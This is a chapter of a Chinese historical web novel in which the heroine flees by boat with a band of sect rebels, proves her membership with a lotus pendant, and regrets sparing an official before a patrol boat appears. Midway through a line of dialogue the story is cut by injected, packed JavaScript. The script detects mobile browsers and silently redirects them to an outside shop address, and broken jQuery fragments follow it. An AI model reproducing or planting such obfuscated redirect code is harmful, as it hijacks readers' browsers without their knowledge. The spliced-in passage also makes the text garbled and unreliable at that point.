弗筠随芸娘他们凫水游过一片水域，各自爬上藏在芦苇荡深处的几艘小船。
举事计划中途夭折，如今连自身安危都不能确保，是铤而走险还是断臂求生，一行人都等着芸娘拿主意。
方才那个要杀章舜顷的水匪暴起道，“就该杀了那个狗官一了百了，省得惹出许多麻烦来，趁着他们药劲儿还没过，我去放把火烧了船，今晚的事情便无人知晓了。”
弗筠怒目而视，道，“那船上的奴仆又何其无辜，为何要白白送了命。”
水匪被她呛得脸红脖子粗，将手里的桨一把扔在船上，没好气道，“那我们就干脆等死吧。”
“冬哥儿，你别整天跟炮仗似的一点就着，能不能好好说话。”芸娘横了那位名唤冬哥儿的水匪一眼，转而稳住神道，“回家通知其他教徒起义之事作罢，至于咱们几个，先回雾螺岛避风头。”
听了这话，众人面面相视，再无人反驳，各自拎起桨板。
芦苇荡高过人头，其内回环曲折，最狭窄处将将能容纳船身通行，然而他们操桨动作灵巧，如入无人之境，船只经过时，两侧芦苇只轻微晃了晃。
浓稠的夜色里，众人无声赶路，既像亡命天涯，又像奔赴前路。
芸娘为罗放仔细地处理着伤口，已是更深露重，寒意侵体，弗筠一身湿衣，冷颤不止，帮忙递伤药的手都在哆哆嗦嗦。
芸娘见状，面露歉疚道，“我们都是粗人，皮糙肉厚的，船上也不备干衣裳，姑娘再忍忍，马上就到家了。”
弗筠牙齿打着架，却仍摇头笑道，“无妨。芸娘，我们要去的雾螺岛是什么地方啊？”
芸娘道，“是个无人的小岛，算是我们发家的地方，在淮安府的地界上，官兵要追也追不到那里去。”
弗筠明白过来，他们这是要彻底重操旧业了，然而此刻她也想不到更好的出路。
没办法，有些路就是稀里糊涂走成了那个样子。就像她当年一样，若非为了保命，谁又会主动没入风尘呢。
芸娘见她默不作声，只当她是碍着情面不好说话，便道，“姑娘还年轻，不必跟着我们沦为草莽，你还有没有可以投靠的亲戚？我们可以沿路护送你。”
弗筠默了默，道，“我有个表哥在兖州府的鹿鸣书院读书。”
芸娘沉吟道，“那倒是也不算太远，等我们在雾螺岛安定下来，就送你去找你表哥。这一路都不太平，我们总归有些傍身功夫，对付一般贼人还是够用的。”
弗筠万分感激地点头应下。
船只驶出几里地开外，终于停靠岸边，将船只系好，一行人便各回各家。
弗筠自是跟着芸娘回家，同行的还有背着罗放的冬哥儿。她一路攀谈得知，冬哥儿是罗放的亲弟弟，名唤罗冬，芸娘则是罗放的妻子。
一间不起眼的茅草屋，只有正屋三间房，东西两间都是卧房，中间堂屋还搭了一口灶台，连通着东屋的火炕。
这在江南地区并不多见。
弗筠按捺下心头好奇，自己去了西屋换上芸娘的粗布衣裳，上衣下裤，外系一条及膝短裙，布料粗糙甚至有些扎人，行动起来却利落不误事。
她还学着芸娘也将发髻用头巾包了起来，饶有兴致地打量着这身装扮。
“让路。”
弗筠抬头瞧见罗冬那张臭脸，正一脸不悦地看着她。她挡在不算宽敞的门前，没了他过路的余地，只好闪身让开。
罗冬绕过她进屋，将门关得砰砰作响，弗筠冲着那扇门瘪了瘪嘴，便去东屋帮芸娘收拾行囊，开口道，“芸娘，你可是北方人？”
芸娘从衣裳堆里抬起头来，愣了一愣，便见她手指火炕，顿时意会，笑道，“姑娘倒是伶俐，见微知著。不过我有些好奇，你怎么一猜就猜到我头上了？”
弗筠不好意思地笑笑，“也没什么见微知著的，我也是从北方来的，所以认识这火炕。罗家两位兄弟说话听着有些南音，芸娘你却是一口纯正官话，自然就猜到你头上了。”
“乡音这东西，真是时隔多年也变不了。”芸娘面上闪过一丝微不可察的黯然，却准确无误地落入弗筠眼中，她接着问道，“芸娘，你老家是哪里的？”
“北直隶的。”芸娘说完这话便没了下音。
北直隶下辖之地，那可多了去了，她这样说，就是不便交浅言深的意思，弗筠深谙察言观色之道，便也自觉揭过这茬不提。
芸娘做事干练，毫不拖泥带水，很快就收拾好两个包袱，其他人也前后脚带着行囊返回芸娘家中聚首，一行人不敢耽搁，趁着夜色乘船上路。
为便赶路，他们换了两艘有篷舱的渔船，如此吃住都可在船上解决。
已至五更天，众人都一夜未歇，身后尚无追兵，生出一丝劫后余生的松懈，困意随之袭上来，便横七竖八地躺在舱里歇觉，只每隔一个时辰换人控橹划船。
弗筠和另外受了重伤的三人免去此差，在摇摇晃晃的船里睡得格外香甜，等她一觉醒来时，已是日上三竿。
船上另外五人都已转醒，连负伤的罗放也苏醒过来，正在就着芸娘的手嚼干粮。
弗筠忙一骨碌爬起，不期起身太快，脖颈突然一闪，不由抽痛叫了一声，舱内目光刷刷向她涌来。
芸娘笑道，“可是落枕了？等会儿我帮你正过来就好了。”
弗筠正按揉着僵硬的脖子，听到这话不免想起她昨日分辨药物时十分胸有成竹的模样，便好奇问道，“芸娘，你还会医术吗？”
“略知一二罢了。”芸娘浅笑道。
船尾摇橹的崔猛.插话：“那哪能是一二啊，我们这些年刀尖舔血还能好端端活到现在，可全仰仗着芸娘妙手回春的医术呢，只要还剩一口气，经了芸娘的手，隔日就能活蹦乱跳。”
他这一番说笑将众人都逗乐了，芸娘白他一眼，道，“越说越邪乎了。”
弗筠脸上亦挂着笑，目光却静静地落在芸娘身上，欣赏中带着些许幽不可察的探究之意。
见到她这般不寻常的神色，罗放不由微微眯起了眼，他昨夜再度被关进舱室后，就因失血过多昏迷不醒，这还是两人头一次正式打照面。
方才芸娘已将她昨夜听到的对话简要相告，可他心里的怀疑和警惕并没有完全打消，问道，“姑娘也是红莲教的人？”
弗筠坦然地迎接着他的注视，“是。”
“姑娘身上可有信物？”罗放问道。
弗筠笑了笑，从脖颈上取下一条用红绳串起的项链，吊坠是一枚指甲盖大小的红宝石，雕刻成莲花形状，仔细一看，莲花心处还镶嵌着一颗针眼大的金粒，在日光下熠熠生辉。
这是上回见面时宋之平交给她的信物。
罗放瞳孔一缩，惊讶道，“你是红莲教正宗涅槃堂的人？”
此话一出，在场之人看弗筠的眼神瞬间多了些敬畏之意，弗筠满意地欣赏着众人的反应，笑着将项坠收了回去，道，“如此可信了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023043|193548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
罗放面上的震撼仍没有消散，忙道，“失敬失敬。昨夜若非姑娘相救，我等只怕早已殒命，救命之恩没齿难忘。”
弗筠顺着他的话说下去：“同教即为同袍，哪有路见不平坐视不理的呢，举手之劳不足挂齿。”
若说他们先前对弗筠还多多少少有些微词，那么眼下就只剩肝脑涂地以身相报的感激了。
只有芸娘不免为弗筠担忧，“可姑娘总归是因为救我们才暴露了身份，不知有没有因此打乱涅槃堂的计划。”
涅槃堂的计划弗筠倒是不知，可她的计划确实因此泡汤了。
参加钦天监遴选考核之事是没戏了，只要章舜顷还活着，她就再无任何现身朝堂的可能。
如今只能被迫选择宋之平给她指的另一条路，去投靠她那位死里逃生的姐夫了。
罗冬话糙理不糙，要是章舜顷死了就好了，一了百了，再无这些烂摊子。
都怪她一时心慈手软。
到底为何要救他呢？其实弗筠至今也没彻底想明白。
大概是见他猝然晕倒失了血色的模样十分脆弱可怜罢了。
彼时，他脸上没有半点儿平素倨傲讨人厌的痕迹，陌生得像是另一个人，她不忍旁观那样一个陌生人在自己眼前死去。
眼看着他的生机在一点点消散，像在拼命握在手心却不可避免地从指缝里溜走的沙。
她很害怕看见摊开掌心却发现空无一物的结果，也不知该如何去面对这样的结果。
所以才稀里糊涂地放了他一马。
……
弗筠兀自沉思着，连芸娘的话也忘了回答。
芸娘等人不知她心里的千回百转，自然地将她的沉默失神理解成了确有其事，心里愈发歉疚不安。
救命之恩兼着亏欠之心，让弗筠在白浪教这里享受到了至高无上的礼遇，就连从没给过她好脸色的罗冬，也调转了态度，每餐都会特意将最软和的饼子留给她。
弗筠受宠若惊而又良心不安地享受着。
不知是因为芸娘那一击下了死手，让章舜顷仍陷昏迷或已至弥留，还是因为他们日夜兼程，成功将官兵远远甩在了身后，前两日，路上都毫无风波，抵达扬州后，他们还停靠码头，上岸采买了些吃食等必要补给。
扬州城尚未张贴通缉画像，弗筠也放下心来去了一趟当铺。
她现在全身家当只有安阳长公主的几样贵重首饰，可以抵换些银钱，以贴补路费。
当然，弗筠自是不敢原模原样地将首饰卖掉，唯恐章舜顷顺着蛛丝马迹找上门来，只掰下几颗珍珠零零散散地当出去，略换得几两银子。
然而她的银子还没捂热，立刻就花了出去。
起初的紧张和兴奋过后，整日在船上晃晃悠悠的弗筠，终是扛不住开始晕船，趴在船舷边，吐得昏天黑地。
沿路码头都有贩卖晕船药的摊子，据芸娘亲自检验过药效可靠，弗筠便买了许多，以供来日路上服用。
这日行近界首镇，弗筠服了药，依旧照芸娘吩咐趴在船头看水线，嘴里机械地嚼着姜片醒神，眼皮子恹恹地耷拉着，昏昏沉沉中忽然觉得船只航行速度缓了下来。
睁开眼睛，便见船只行至一处略狭窄的河道，前后船只渐渐排成一线，几乎首尾相接。
不远处的有一艘慢慢接近的小船，船头挑着巡检司的旗帜，官差目光如鹰隼般扫过每条船。
她登时恢复了清醒。